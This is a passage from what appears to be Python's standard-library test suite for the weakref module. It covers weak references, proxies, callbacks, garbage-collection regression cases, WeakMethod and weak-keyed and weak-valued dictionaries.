self.assertIs(o, o2,
"<ref>() should return original object if live")
def check_basic_callback(self, factory):
self.cbcalled = 0
o = factory()
ref = weakref.ref(o, self.callback)
del o
self.assertEqual(self.cbcalled, 1,
"callback did not properly set 'cbcalled'")
self.assertIsNone(ref(),
"ref2 should be dead after deleting object reference")
def test_ref_reuse(self):
o = C()
ref1 = weakref.ref(o)
# create a proxy to make sure that there's an intervening creation
# between these two; it should make no difference
proxy = weakref.proxy(o)
ref2 = weakref.ref(o)
self.assertIs(ref1, ref2,
"reference object w/out callback should be re-used")
o = C()
proxy = weakref.proxy(o)
ref1 = weakref.ref(o)
ref2 = weakref.ref(o)
self.assertIs(ref1, ref2,
"reference object w/out callback should be re-used")
self.assertEqual(weakref.getweakrefcount(o), 2,
"wrong weak ref count for object")
del proxy
self.assertEqual(weakref.getweakrefcount(o), 1,
"wrong weak ref count for object after deleting proxy")
def test_proxy_reuse(self):
o = C()
proxy1 = weakref.proxy(o)
ref = weakref.ref(o)
proxy2 = weakref.proxy(o)
self.assertIs(proxy1, proxy2,
"proxy object w/out callback should have been re-used")
def test_basic_proxy(self):
o = C()
self.check_proxy(o, weakref.proxy(o))
L = collections.UserList()
p = weakref.proxy(L)
self.assertFalse(p, "proxy for empty UserList should be false")
p.append(12)
self.assertEqual(len(L), 1)
self.assertTrue(p, "proxy for non-empty UserList should be true")
p[:] = [2, 3]
self.assertEqual(len(L), 2)
self.assertEqual(len(p), 2)
self.assertIn(3, p, "proxy didn't support __contains__() properly")
p[1] = 5
self.assertEqual(L[1], 5)
self.assertEqual(p[1], 5)
L2 = collections.UserList(L)
p2 = weakref.proxy(L2)
self.assertEqual(p, p2)
## self.assertEqual(repr(L2), repr(p2))
L3 = collections.UserList(range(10))
p3 = weakref.proxy(L3)
self.assertEqual(L3[:], p3[:])
self.assertEqual(L3[5:], p3[5:])
self.assertEqual(L3[:5], p3[:5])
self.assertEqual(L3[2:5], p3[2:5])
def test_proxy_unicode(self):
# See bug 5037
class C(object):
def __str__(self):
return "string"
def __bytes__(self):
return b"bytes"
instance = C()
self.assertIn("__bytes__", dir(weakref.proxy(instance)))
self.assertEqual(bytes(weakref.proxy(instance)), b"bytes")
def test_proxy_index(self):
class C:
def __index__(self):
return 10
o = C()
p = weakref.proxy(o)
self.assertEqual(operator.index(p), 10)
def test_proxy_div(self):
class C:
def __floordiv__(self, other):
return 42
def __ifloordiv__(self, other):
return 21
o = C()
p = weakref.proxy(o)
self.assertEqual(p // 5, 42)
p //= 5
self.assertEqual(p, 21)
# The PyWeakref_* C API is documented as allowing either NULL or
# None as the value for the callback, where either means "no
# callback". The "no callback" ref and proxy objects are supposed
# to be shared so long as they exist by all callers so long as
# they are active. In Python 2.3.3 and earlier, this guarantee
# was not honored, and was broken in different ways for
# PyWeakref_NewRef() and PyWeakref_NewProxy(). (Two tests.)
def test_shared_ref_without_callback(self):
self.check_shared_without_callback(weakref.ref)
def test_shared_proxy_without_callback(self):
self.check_shared_without_callback(weakref.proxy)
def check_shared_without_callback(self, makeref):
o = Object(1)
p1 = makeref(o, None)
p2 = makeref(o, None)
self.assertIs(p1, p2, "both callbacks were None in the C API")
del p1, p2
p1 = makeref(o)
p2 = makeref(o, None)
self.assertIs(p1, p2, "callbacks were NULL, None in the C API")
del p1, p2
p1 = makeref(o)
p2 = makeref(o)
self.assertIs(p1, p2, "both callbacks were NULL in the C API")
del p1, p2
p1 = makeref(o, None)
p2 = makeref(o)
self.assertIs(p1, p2, "callbacks were None, NULL in the C API")
def test_callable_proxy(self):
o = Callable()
ref1 = weakref.proxy(o)
self.check_proxy(o, ref1)
self.assertIs(type(ref1), weakref.CallableProxyType,
"proxy is not of callable type")
ref1('twinkies!')
self.assertEqual(o.bar, 'twinkies!',
"call through proxy not passed through to original")
ref1(x='Splat.')
self.assertEqual(o.bar, 'Splat.',
"call through proxy not passed through to original")
# expect due to too few args
self.assertRaises(TypeError, ref1)
# expect due to too many args
self.assertRaises(TypeError, ref1, 1, 2, 3)
def check_proxy(self, o, proxy):
o.foo = 1
self.assertEqual(proxy.foo, 1,
"proxy does not reflect attribute addition")
o.foo = 2
self.assertEqual(proxy.foo, 2,
"proxy does not reflect attribute modification")
del o.foo
self.assertFalse(hasattr(proxy, 'foo'),
"proxy does not reflect attribute removal")
proxy.foo = 1
self.assertEqual(o.foo, 1,
"object does not reflect attribute addition via proxy")
proxy.foo = 2
self.assertEqual(o.foo, 2,
"object does not reflect attribute modification via proxy")
del proxy.foo
self.assertFalse(hasattr(o, 'foo'),
"object does not reflect attribute removal via proxy")
def test_proxy_deletion(self):
# Test clearing of SF bug #762891
class Foo:
result = None
def __delitem__(self, accessor):
self.result = accessor
g = Foo()
f = weakref.proxy(g)
del f[0]
self.assertEqual(f.result, 0)
def test_proxy_bool(self):
# Test clearing of SF bug #1170766
class List(list): pass
lyst = List()
self.assertEqual(bool(weakref.proxy(lyst)), bool(lyst))
def test_getweakrefcount(self):
o = C()
ref1 = weakref.ref(o)
ref2 = weakref.ref(o, self.callback)
self.assertEqual(weakref.getweakrefcount(o), 2,
"got wrong number of weak reference objects")
proxy1 = weakref.proxy(o)
proxy2 = weakref.proxy(o, self.callback)
self.assertEqual(weakref.getweakrefcount(o), 4,
"got wrong number of weak reference objects")
del ref1, ref2, proxy1, proxy2
self.assertEqual(weakref.getweakrefcount(o), 0,
"weak reference objects not unlinked from"
" referent when discarded.")
# assumes ints do not support weakrefs
self.assertEqual(weakref.getweakrefcount(1), 0,
"got wrong number of weak reference objects for int")
def test_getweakrefs(self):
o = C()
ref1 = weakref.ref(o, self.callback)
ref2 = weakref.ref(o, self.callback)
del ref1
self.assertEqual(weakref.getweakrefs(o), [ref2],
"list of refs does not match")
o = C()
ref1 = weakref.ref(o, self.callback)
ref2 = weakref.ref(o, self.callback)
del ref2
self.assertEqual(weakref.getweakrefs(o), [ref1],
"list of refs does not match")
del ref1
self.assertEqual(weakref.getweakrefs(o), [],
"list of refs not cleared")
# assumes ints do not support weakrefs
self.assertEqual(weakref.getweakrefs(1), [],
"list of refs does not match for int")
def test_newstyle_number_ops(self):
class F(float):
pass
f = F(2.0)
p = weakref.proxy(f)
self.assertEqual(p + 1.0, 3.0)
self.assertEqual(1.0 + p, 3.0) # this used to SEGV
def test_callbacks_protected(self):
# Callbacks protected from already-set exceptions?
# Regression test for SF bug #478534.
class BogusError(Exception):
pass
data = {}
def remove(k):
del data[k]
def encapsulate():
f = lambda : ()
data[weakref.ref(f, remove)] = None
raise BogusError
try:
encapsulate()
except BogusError:
pass
else:
self.fail("exception not properly restored")
try:
encapsulate()
except BogusError:
pass
else:
self.fail("exception not properly restored")
def test_sf_bug_840829(self):
# "weakref callbacks and gc corrupt memory"
# subtype_dealloc erroneously exposed a new-style instance
# already in the process of getting deallocated to gc,
# causing double-deallocation if the instance had a weakref
# callback that triggered gc.
# If the bug exists, there probably won't be an obvious symptom
# in a release build. In a debug build, a segfault will occur
# when the second attempt to remove the instance from the "list
# of all objects" occurs.
import gc
class C(object):
pass
c = C()
wr = weakref.ref(c, lambda ignore: gc.collect())
del c
# There endeth the first part. It gets worse.
del wr
c1 = C()
c1.i = C()
wr = weakref.ref(c1.i, lambda ignore: gc.collect())
c2 = C()
c2.c1 = c1
del c1 # still alive because c2 points to it
# Now when subtype_dealloc gets called on c2, it's not enough just
# that c2 is immune from gc while the weakref callbacks associated
# with c2 execute (there are none in this 2nd half of the test, btw).
# subtype_dealloc goes on to call the base classes' deallocs too,
# so any gc triggered by weakref callbacks associated with anything
# torn down by a base class dealloc can also trigger double
# deallocation of c2.
del c2
def test_callback_in_cycle_1(self):
import gc
class J(object):
pass
class II(object):
def acallback(self, ignore):
self.J
I = II()
I.J = J
I.wr = weakref.ref(J, I.acallback)
# Now J and II are each in a self-cycle (as all new-style class
# objects are, since their __mro__ points back to them). I holds
# both a weak reference (I.wr) and a strong reference (I.J) to class
# J. I is also in a cycle (I.wr points to a weakref that references
# I.acallback). When we del these three, they all become trash, but
# the cycles prevent any of them from getting cleaned up immediately.
# Instead they have to wait for cyclic gc to deduce that they're
# trash.
#
# gc used to call tp_clear on all of them, and the order in which
# it does that is pretty accidental. The exact order in which we
# built up these things manages to provoke gc into running tp_clear
# in just the right order (I last). Calling tp_clear on II leaves
# behind an insane class object (its __mro__ becomes NULL). Calling
# tp_clear on J breaks its self-cycle, but J doesn't get deleted
# just then because of the strong reference from I.J. Calling
# tp_clear on I starts to clear I's __dict__, and just happens to
# clear I.J first -- I.wr is still intact. That removes the last
# reference to J, which triggers the weakref callback. The callback
# tries to do "self.J", and instances of new-style classes look up
# attributes ("J") in the class dict first. The class (II) wants to
# search II.__mro__, but that's NULL. The result was a segfault in
# a release build, and an assert failure in a debug build.
del I, J, II
gc.collect()
def test_callback_in_cycle_2(self):
import gc
# This is just like test_callback_in_cycle_1, except that II is an
# old-style class. The symptom is different then: an instance of an
# old-style class looks in its own __dict__ first. 'J' happens to
# get cleared from I.__dict__ before 'wr', and 'J' was never in II's
# __dict__, so the attribute isn't found. The difference is that
# the old-style II doesn't have a NULL __mro__ (it doesn't have any
# __mro__), so no segfault occurs. Instead it got:
# test_callback_in_cycle_2 (__main__.ReferencesTestCase) ...
# Exception exceptions.AttributeError:
# "II instance has no attribute 'J'" in <bound method II.acallback
# of <?.II instance at 0x00B9B4B8>> ignored
class J(object):
pass
class II:
def acallback(self, ignore):
self.J
I = II()
I.J = J
I.wr = weakref.ref(J, I.acallback)
del I, J, II
gc.collect()
def test_callback_in_cycle_3(self):
import gc
# This one broke the first patch that fixed the last two. In this
# case, the objects reachable from the callback aren't also reachable
# from the object (c1) *triggering* the callback: you can get to
# c1 from c2, but not vice-versa. The result was that c2's __dict__
# got tp_clear'ed by the time the c2.cb callback got invoked.
class C:
def cb(self, ignore):
self.me
self.c1
self.wr
c1, c2 = C(), C()
c2.me = c2
c2.c1 = c1
c2.wr = weakref.ref(c1, c2.cb)
del c1, c2
gc.collect()
def test_callback_in_cycle_4(self):
import gc
# Like test_callback_in_cycle_3, except c2 and c1 have different
# classes. c2's class (C) isn't reachable from c1 then, so protecting
# objects reachable from the dying object (c1) isn't enough to stop
# c2's class (C) from getting tp_clear'ed before c2.cb is invoked.
# The result was a segfault (C.__mro__ was NULL when the callback
# tried to look up self.me).
class C(object):
def cb(self, ignore):
self.me
self.c1
self.wr
class D:
pass
c1, c2 = D(), C()
c2.me = c2
c2.c1 = c1
c2.wr = weakref.ref(c1, c2.cb)
del c1, c2, C, D
gc.collect()
@support.requires_type_collecting
def test_callback_in_cycle_resurrection(self):
import gc
# Do something nasty in a weakref callback: resurrect objects
# from dead cycles. For this to be attempted, the weakref and
# its callback must also be part of the cyclic trash (else the
# objects reachable via the callback couldn't be in cyclic trash
# to begin with -- the callback would act like an external root).
# But gc clears trash weakrefs with callbacks early now, which
# disables the callbacks, so the callbacks shouldn't get called
# at all (and so nothing actually gets resurrected).
alist = []
class C(object):
def __init__(self, value):
self.attribute = value
def acallback(self, ignore):
alist.append(self.c)
c1, c2 = C(1), C(2)
c1.c = c2
c2.c = c1
c1.wr = weakref.ref(c2, c1.acallback)
c2.wr = weakref.ref(c1, c2.acallback)
def C_went_away(ignore):
alist.append("C went away")
wr = weakref.ref(C, C_went_away)
del c1, c2, C # make them all trash
self.assertEqual(alist, []) # del isn't enough to reclaim anything
gc.collect()
# c1.wr and c2.wr were part of the cyclic trash, so should have
# been cleared without their callbacks executing. OTOH, the weakref
# to C is bound to a function local (wr), and wasn't trash, so that
# callback should have been invoked when C went away.
self.assertEqual(alist, ["C went away"])
# The remaining weakref should be dead now (its callback ran).
self.assertEqual(wr(), None)
del alist[:]
gc.collect()
self.assertEqual(alist, [])
def test_callbacks_on_callback(self):
import gc
# Set up weakref callbacks *on* weakref callbacks.
alist = []
def safe_callback(ignore):
alist.append("safe_callback called")
class C(object):
def cb(self, ignore):
alist.append("cb called")
c, d = C(), C()
c.other = d
d.other = c
callback = c.cb
c.wr = weakref.ref(d, callback) # this won't trigger
d.wr = weakref.ref(callback, d.cb) # ditto
external_wr = weakref.ref(callback, safe_callback) # but this will
self.assertIs(external_wr(), callback)
# The weakrefs attached to c and d should get cleared, so that
# C.cb is never called. But external_wr isn't part of the cyclic
# trash, and no cyclic trash is reachable from it, so safe_callback
# should get invoked when the bound method object callback (c.cb)
# -- which is itself a callback, and also part of the cyclic trash --
# gets reclaimed at the end of gc.
del callback, c, d, C
self.assertEqual(alist, []) # del isn't enough to clean up cycles
gc.collect()
self.assertEqual(alist, ["safe_callback called"])
self.assertEqual(external_wr(), None)
del alist[:]
gc.collect()
self.assertEqual(alist, [])
def test_gc_during_ref_creation(self):
self.check_gc_during_creation(weakref.ref)
def test_gc_during_proxy_creation(self):
self.check_gc_during_creation(weakref.proxy)
def check_gc_during_creation(self, makeref):
thresholds = gc.get_threshold()
gc.set_threshold(1, 1, 1)
gc.collect()
class A:
pass
def callback(*args):
pass
referenced = A()
a = A()
a.a = a
a.wr = makeref(referenced)
try:
# now make sure the object and the ref get labeled as
# cyclic trash:
a = A()
weakref.ref(referenced, callback)
finally:
gc.set_threshold(*thresholds)
def test_ref_created_during_del(self):
# Bug #1377858
# A weakref created in an object's __del__() would crash the
# interpreter when the weakref was cleaned up since it would refer to
# non-existent memory. This test should not segfault the interpreter.
class Target(object):
def __del__(self):
global ref_from_del
ref_from_del = weakref.ref(self)
w = Target()
def test_init(self):
# Issue 3634
# <weakref to class>.__init__() doesn't check errors correctly
r = weakref.ref(Exception)
self.assertRaises(TypeError, r.__init__, 0, 0, 0, 0, 0)
# No exception should be raised here
gc.collect()
def test_classes(self):
# Check that classes are weakrefable.
class A(object):
pass
l = []
weakref.ref(int)
a = weakref.ref(A, l.append)
A = None
gc.collect()
self.assertEqual(a(), None)
self.assertEqual(l, [a])
def test_equality(self):
# Alive weakrefs defer equality testing to their underlying object.
x = Object(1)
y = Object(1)
z = Object(2)
a = weakref.ref(x)
b = weakref.ref(y)
c = weakref.ref(z)
d = weakref.ref(x)
# Note how we directly test the operators here, to stress both
# __eq__ and __ne__.
self.assertTrue(a == b)
self.assertFalse(a != b)
self.assertFalse(a == c)
self.assertTrue(a != c)
self.assertTrue(a == d)
self.assertFalse(a != d)
del x, y, z
gc.collect()
for r in a, b, c:
# Sanity check
self.assertIs(r(), None)
# Dead weakrefs compare by identity: whether `a` and `d` are the
# same weakref object is an implementation detail, since they pointed
# to the same original object and didn't have a callback.
# (see issue #16453).
self.assertFalse(a == b)
self.assertTrue(a != b)
self.assertFalse(a == c)
self.assertTrue(a != c)
self.assertEqual(a == d, a is d)
self.assertEqual(a != d, a is not d)
def test_ordering(self):
# weakrefs cannot be ordered, even if the underlying objects can.
ops = [operator.lt, operator.gt, operator.le, operator.ge]
x = Object(1)
y = Object(1)
a = weakref.ref(x)
b = weakref.ref(y)
for op in ops:
self.assertRaises(TypeError, op, a, b)
# Same when dead.
del x, y
gc.collect()
for op in ops:
self.assertRaises(TypeError, op, a, b)
def test_hashing(self):
# Alive weakrefs hash the same as the underlying object
x = Object(42)
y = Object(42)
a = weakref.ref(x)
b = weakref.ref(y)
self.assertEqual(hash(a), hash(42))
del x, y
gc.collect()
# Dead weakrefs:
# - retain their hash is they were hashed when alive;
# - otherwise, cannot be hashed.
self.assertEqual(hash(a), hash(42))
self.assertRaises(TypeError, hash, b)
def test_trashcan_16602(self):
# Issue #16602: when a weakref's target was part of a long
# deallocation chain, the trashcan mechanism could delay clearing
# of the weakref and make the target object visible from outside
# code even though its refcount had dropped to 0. A crash ensued.
class C:
def __init__(self, parent):
if not parent:
return
wself = weakref.ref(self)
def cb(wparent):
o = wself()
self.wparent = weakref.ref(parent, cb)
d = weakref.WeakKeyDictionary()
root = c = C(None)
for n in range(100):
d[c] = c = C(c)
del root
gc.collect()
def test_callback_attribute(self):
x = Object(1)
callback = lambda ref: None
ref1 = weakref.ref(x, callback)
self.assertIs(ref1.__callback__, callback)
ref2 = weakref.ref(x)
self.assertIsNone(ref2.__callback__)
def test_callback_attribute_after_deletion(self):
x = Object(1)
ref = weakref.ref(x, self.callback)
self.assertIsNotNone(ref.__callback__)
del x
support.gc_collect()
self.assertIsNone(ref.__callback__)
def test_set_callback_attribute(self):
x = Object(1)
callback = lambda ref: None
ref1 = weakref.ref(x, callback)
with self.assertRaises(AttributeError):
ref1.__callback__ = lambda ref: None
def test_callback_gcs(self):
class ObjectWithDel(Object):
def __del__(self): pass
x = ObjectWithDel(1)
ref1 = weakref.ref(x, lambda ref: support.gc_collect())
del x
support.gc_collect()
class SubclassableWeakrefTestCase(TestBase):
def test_subclass_refs(self):
class MyRef(weakref.ref):
def __init__(self, ob, callback=None, value=42):
self.value = value
super().__init__(ob, callback)
def __call__(self):
self.called = True
return super().__call__()
o = Object("foo")
mr = MyRef(o, value=24)
self.assertIs(mr(), o)
self.assertTrue(mr.called)
self.assertEqual(mr.value, 24)
del o
self.assertIsNone(mr())
self.assertTrue(mr.called)
def test_subclass_refs_dont_replace_standard_refs(self):
class MyRef(weakref.ref):
pass
o = Object(42)
r1 = MyRef(o)
r2 = weakref.ref(o)
self.assertIsNot(r1, r2)
self.assertEqual(weakref.getweakrefs(o), [r2, r1])
self.assertEqual(weakref.getweakrefcount(o), 2)
r3 = MyRef(o)
self.assertEqual(weakref.getweakrefcount(o), 3)
refs = weakref.getweakrefs(o)
self.assertEqual(len(refs), 3)
self.assertIs(r2, refs[0])
self.assertIn(r1, refs[1:])
self.assertIn(r3, refs[1:])
def test_subclass_refs_dont_conflate_callbacks(self):
class MyRef(weakref.ref):
pass
o = Object(42)
r1 = MyRef(o, id)
r2 = MyRef(o, str)
self.assertIsNot(r1, r2)
refs = weakref.getweakrefs(o)
self.assertIn(r1, refs)
self.assertIn(r2, refs)
def test_subclass_refs_with_slots(self):
class MyRef(weakref.ref):
__slots__ = "slot1", "slot2"
def __new__(type, ob, callback, slot1, slot2):
return weakref.ref.__new__(type, ob, callback)
def __init__(self, ob, callback, slot1, slot2):
self.slot1 = slot1
self.slot2 = slot2
def meth(self):
return self.slot1 + self.slot2
o = Object(42)
r = MyRef(o, None, "abc", "def")
self.assertEqual(r.slot1, "abc")
self.assertEqual(r.slot2, "def")
self.assertEqual(r.meth(), "abcdef")
self.assertFalse(hasattr(r, "__dict__"))
def test_subclass_refs_with_cycle(self):
# Bug #3110
# An instance of a weakref subclass can have attributes.
# If such a weakref holds the only strong reference to the object,
# deleting the weakref will delete the object. In this case,
# the callback must not be called, because the ref object is
# being deleted.
class MyRef(weakref.ref):
pass
# Use a local callback, for "regrtest -R::"
# to detect refcounting problems
def callback(w):
self.cbcalled += 1
o = C()
r1 = MyRef(o, callback)
r1.o = o
del o
del r1 # Used to crash here
self.assertEqual(self.cbcalled, 0)
# Same test, with two weakrefs to the same object
# (since code paths are different)
o = C()
r1 = MyRef(o, callback)
r2 = MyRef(o, callback)
r1.r = r2
r2.o = o
del o
del r2
del r1 # Used to crash here
self.assertEqual(self.cbcalled, 0)
class WeakMethodTestCase(unittest.TestCase):
def _subclass(self):
"""Return an Object subclass overriding `some_method`."""
class C(Object):
def some_method(self):
return 6
return C
def test_alive(self):
o = Object(1)
r = weakref.WeakMethod(o.some_method)
self.assertIsInstance(r, weakref.ReferenceType)
self.assertIsInstance(r(), type(o.some_method))
self.assertIs(r().__self__, o)
self.assertIs(r().__func__, o.some_method.__func__)
self.assertEqual(r()(), 4)
def test_object_dead(self):
o = Object(1)
r = weakref.WeakMethod(o.some_method)
del o
gc.collect()
self.assertIs(r(), None)
def test_method_dead(self):
C = self._subclass()
o = C(1)
r = weakref.WeakMethod(o.some_method)
del C.some_method
gc.collect()
self.assertIs(r(), None)
def test_callback_when_object_dead(self):
# Test callback behaviour when object dies first.
C = self._subclass()
calls = []
def cb(arg):
calls.append(arg)
o = C(1)
r = weakref.WeakMethod(o.some_method, cb)
del o
gc.collect()
self.assertEqual(calls, [r])
# Callback is only called once.
C.some_method = Object.some_method
gc.collect()
self.assertEqual(calls, [r])
def test_callback_when_method_dead(self):
# Test callback behaviour when method dies first.
C = self._subclass()
calls = []
def cb(arg):
calls.append(arg)
o = C(1)
r = weakref.WeakMethod(o.some_method, cb)
del C.some_method
gc.collect()
self.assertEqual(calls, [r])
# Callback is only called once.
del o
gc.collect()
self.assertEqual(calls, [r])
@support.cpython_only
def test_no_cycles(self):
# A WeakMethod doesn't create any reference cycle to itself.
o = Object(1)
def cb(_):
pass
r = weakref.WeakMethod(o.some_method, cb)
wr = weakref.ref(r)
del r
self.assertIs(wr(), None)
def test_equality(self):
def _eq(a, b):
self.assertTrue(a == b)
self.assertFalse(a != b)
def _ne(a, b):
self.assertTrue(a != b)
self.assertFalse(a == b)
x = Object(1)
y = Object(1)
a = weakref.WeakMethod(x.some_method)
b = weakref.WeakMethod(y.some_method)
c = weakref.WeakMethod(x.other_method)
d = weakref.WeakMethod(y.other_method)
# Objects equal, same method
_eq(a, b)
_eq(c, d)
# Objects equal, different method
_ne(a, c)
_ne(a, d)
_ne(b, c)
_ne(b, d)
# Objects unequal, same or different method
z = Object(2)
e = weakref.WeakMethod(z.some_method)
f = weakref.WeakMethod(z.other_method)
_ne(a, e)
_ne(a, f)
_ne(b, e)
_ne(b, f)
del x, y, z
gc.collect()
# Dead WeakMethods compare by identity
refs = a, b, c, d, e, f
for q in refs:
for r in refs:
self.assertEqual(q == r, q is r)
self.assertEqual(q != r, q is not r)
def test_hashing(self):
# Alive WeakMethods are hashable if the underlying object is
# hashable.
x = Object(1)
y = Object(1)
a = weakref.WeakMethod(x.some_method)
b = weakref.WeakMethod(y.some_method)
c = weakref.WeakMethod(y.other_method)
# Since WeakMethod objects are equal, the hashes should be equal.
self.assertEqual(hash(a), hash(b))
ha = hash(a)
# Dead WeakMethods retain their old hash value
del x, y
gc.collect()
self.assertEqual(hash(a), ha)
self.assertEqual(hash(b), ha)
# If it wasn't hashed when alive, a dead WeakMethod cannot be hashed.
self.assertRaises(TypeError, hash, c)
class MappingTestCase(TestBase):
COUNT = 10
def check_len_cycles(self, dict_type, cons):
N = 20
items = [RefCycle() for i in range(N)]
dct = dict_type(cons(o) for o in items)
# Keep an iterator alive
it = dct.items()
try:
next(it)
except StopIteration:
pass
del items
gc.collect()
n1 = len(dct)
del it
gc.collect()
n2 = len(dct)
# one item may be kept alive inside the iterator
self.assertIn(n1, (0, 1))
self.assertEqual(n2, 0)
def test_weak_keyed_len_cycles(self):
self.check_len_cycles(weakref.WeakKeyDictionary, lambda k: (k, 1))
def test_weak_valued_len_cycles(self):
self.check_len_cycles(weakref.WeakValueDictionary, lambda k: (1, k))
def check_len_race(self, dict_type, cons):
# Extended sanity checks for len() in the face of cyclic collection
self.addCleanup(gc.set_threshold, *gc.get_threshold())
for th in range(1, 100):
N = 20
gc.collect(0)
gc.set_threshold(th, th, th)
items = [RefCycle() for i in range(N)]
dct = dict_type(cons(o) for o in items)
del items
# All items will be collected at next garbage collection pass
it = dct.items()
try:
next(it)
except StopIteration:
pass
n1 = len(dct)
del it
n2 = len(dct)
self.assertGreaterEqual(n1, 0)
self.assertLessEqual(n1, N)
self.assertGreaterEqual(n2, 0)
self.assertLessEqual(n2, n1)
def test_weak_keyed_len_race(self):
self.check_len_race(weakref.WeakKeyDictionary, lambda k: (k, 1))
def test_weak_valued_len_race(self):
self.check_len_race(weakref.WeakValueDictionary, lambda k: (1, k))
def test_weak_values(self):
#
# This exercises d.copy(), d.items(), d[], del d[], len(d).
#
dict, objects = self.make_weak_valued_dict()
for o in objects:
self.assertEqual(weakref.getweakrefcount(o), 1)
self.assertIs(o, dict[o.arg],
"wrong object returned by weak dict!")
items1 = list(dict.items())
items2 = list(dict.copy().items())
items1.sort()
items2.sort()
self.assertEqual(items1, items2,
"cloning of weak-valued dictionary did not work!")
del items1, items2
self.assertEqual(len(dict), self.COUNT)
del objects[0]
self.assertEqual(len(dict), self.COUNT - 1,
"deleting object did not cause dictionary update")
del objects, o
self.assertEqual(len(dict), 0,
"deleting the values did not clear the dictionary")
# regression on SF bug #447152:
dict = weakref.WeakValueDictionary()
self.assertRaises(KeyError, dict.__getitem__, 1)
dict[2] = C()
self.assertRaises(KeyError, dict.__getitem__, 2)
def test_weak_keys(self):
#
# This exercises d.copy(), d.items(), d[] = v, d[], del d[],
# len(d), k in d.
#
dict, objects = self.make_weak_keyed_dict()
for o in objects:
self.assertEqual(weakref.getweakrefcount(o), 1,
"wrong number of weak references to %r!" % o)
self.assertIs(o.arg, dict[o],
"wrong object returned by weak dict!")
items1 = dict.items()
items2 = dict.copy().items()
self.assertEqual(set(items1), set(items2),
"cloning of weak-keyed dictionary did not work!")
del items1, items2
self.assertEqual(len(dict), self.COUNT)
del objects[0]
self.assertEqual(len(dict), (self.COUNT - 1),
"deleting object did not cause dictionary update")
del objects, o
self.assertEqual(len(dict), 0,
"deleting the keys did not clear the dictionary")
o = Object(42)
dict[o] = "What is the meaning of the universe?"
self.assertIn(o, dict)
self.assertNotIn(34, dict)
def test_weak_keyed_iters(self):
dict, objects = self.make_weak_keyed_dict()
self.check_iters(dict)
# Test keyrefs()
refs = dict.keyrefs()
self.assertEqual(len(refs), len(objects))
objects2 = list(objects)
for wr in refs:
ob = wr()
self.assertIn(ob, dict)
self.assertIn(ob, dict)
self.assertEqual(ob.arg, dict[ob])
objects2.remove(ob)
self.assertEqual(len(objects2), 0)
# Test iterkeyrefs()
objects2 = list(objects)
self.assertEqual(len(list(dict.keyrefs())), len(objects))
for wr in dict.keyrefs():
ob = wr()
self.assertIn(ob, dict)
self.assertIn(ob, dict)
self.assertEqual(ob.arg, dict[ob])
objects2.remove(ob)
self.assertEqual(len(objects2), 0)
def test_weak_valued_iters(self):
dict, objects = self.make_weak_valued_dict()
self.check_iters(dict)
# Test valuerefs()
refs = dict.valuerefs()
self.assertEqual(len(refs), len(objects))
objects2 = list(objects)
for wr in refs:
ob = wr()
self.assertEqual(ob, dict[ob.arg])
self.assertEqual(ob.arg, dict[ob.arg].arg)
objects2.remove(ob)
self.assertEqual(len(objects2), 0)
# Test itervaluerefs()
objects2 = list(objects)
self.assertEqual(len(list(dict.itervaluerefs())), len(objects))
for wr in dict.itervaluerefs():
ob = wr()
self.assertEqual(ob, dict[ob.arg])
self.assertEqual(ob.arg, dict[ob.arg].arg)
objects2.remove(ob)
self.assertEqual(len(objects2), 0)
def check_iters(self, dict):
# item iterator:
items = list(dict.items())
for item in dict.items():
items.remove(item)
self.assertFalse(items, "items() did not touch all items")
# key iterator, via __iter__():
keys = list(dict.keys())
for k in dict:
keys.remove(k)
self.assertFalse(keys, "__iter__() did not touch all keys")
# key iterator, via iterkeys():
keys = list(dict.keys())
for k in dict.keys():
keys.remove(k)
self.assertFalse(keys, "iterkeys() did not touch all keys")
# value iterator:
values = list(dict.values())
for v in dict.values():
values.remove(v)
self.assertFalse(values,
"itervalues() did not touch all values")
def check_weak_destroy_while_iterating(self, dict, objects, iter_name):
n = len(dict)
it = iter(getattr(dict, iter_name)())
next(it) # Trigger internal iteration
# Destroy an object
del objects[-1]
gc.collect() # just in case
# We have removed either the first consumed object, or another one
self.assertIn(len(list(it)), [len(objects), len(objects) - 1])
del it
# The removal has been committed
self.assertEqual(len(dict), n - 1)
def check_weak_destroy_and_mutate_while_iterating(self, dict, testcontext):
# Check that we can explicitly mutate the weak dict without
# interfering with delayed removal.
# `testcontext` should create an iterator, destroy one of the
# weakref'ed objects and then return a new key/value pair corresponding
# to the destroyed object.
with testcontext() as (k, v):
self.assertNotIn(k, dict)
with testcontext() as (k, v):
self.assertRaises(KeyError, dict.__delitem__, k)
self.assertNotIn(k, dict)
with testcontext() as (k, v):
self.assertRaises(KeyError, dict.pop, k)
self.assertNotIn(k, dict)
with testcontext() as (k, v):
dict[k] = v
self.assertEqual(dict[k], v)
ddict = copy.copy(dict)
with testcontext() as (k, v):
dict.update(ddict)
self.assertEqual(dict, ddict)
with testcontext() as (k, v):
dict.clear()
self.assertEqual(len(dict), 0)
def check_weak_del_and_len_while_iterating(self, dict, testcontext):
# Check that len() works when both iterating and removing keys
# explicitly through various means (.pop(), .clear()...), while
# implicit mutation is deferred because an iterator is alive.
# (each call to testcontext() should schedule one item for removal
# for this test to work properly)
o = Object(123456)
with testcontext():
n = len(dict)
dict.popitem()
self.assertEqual(len(dict), n - 1)
dict[o] = o
self.assertEqual(len(dict), n)
with testcontext():
self.assertEqual(len(dict), n - 1)
dict.pop(next(dict.keys()))
self.assertEqual(len(dict), n - 2)
with testcontext():
self.assertEqual(len(dict), n - 3)
del dict[next(dict.keys())]
self.assertEqual(len(dict), n - 4)
with testcontext():
self.assertEqual(len(dict), n - 5)
dict.popitem()
self.assertEqual(len(dict), n - 6)
with testcontext():
dict.clear()
self.assertEqual(len(dict), 0)
self.assertEqual(len(dict), 0)
def test_weak_keys_destroy_while_iterating(self):
# Issue #7105: iterators shouldn't crash when a key is implicitly removed
dict, objects = self.make_weak_keyed_dict()
self.check_weak_destroy_while_iterating(dict, objects, 'keys')
self.check_weak_destroy_while_iterating(dict, objects, 'items')
self.check_weak_destroy_while_iterating(dict, objects, 'values')
self.check_weak_destroy_while_iterating(dict, objects, 'keyrefs')
dict, objects = self.make_weak_keyed_dict()
@contextlib.contextmanager
def testcontext():
try:
it = iter(dict.items())
next(it)
# Schedule a key/value for removal and recreate it
v = objects.pop().arg
gc.collect() # just in case
yield Object(v), v
finally:
it = None # should commit all removals
gc.collect()
self.check_weak_destroy_and_mutate_while_iterating(dict, testcontext)
# Issue #21173: len() fragile when keys are both implicitly and
# explicitly removed.
dict, objects = self.make_weak_keyed_dict()
self.check_weak_del_and_len_while_iterating(dict, testcontext)
def test_weak_values_destroy_while_iterating(self):
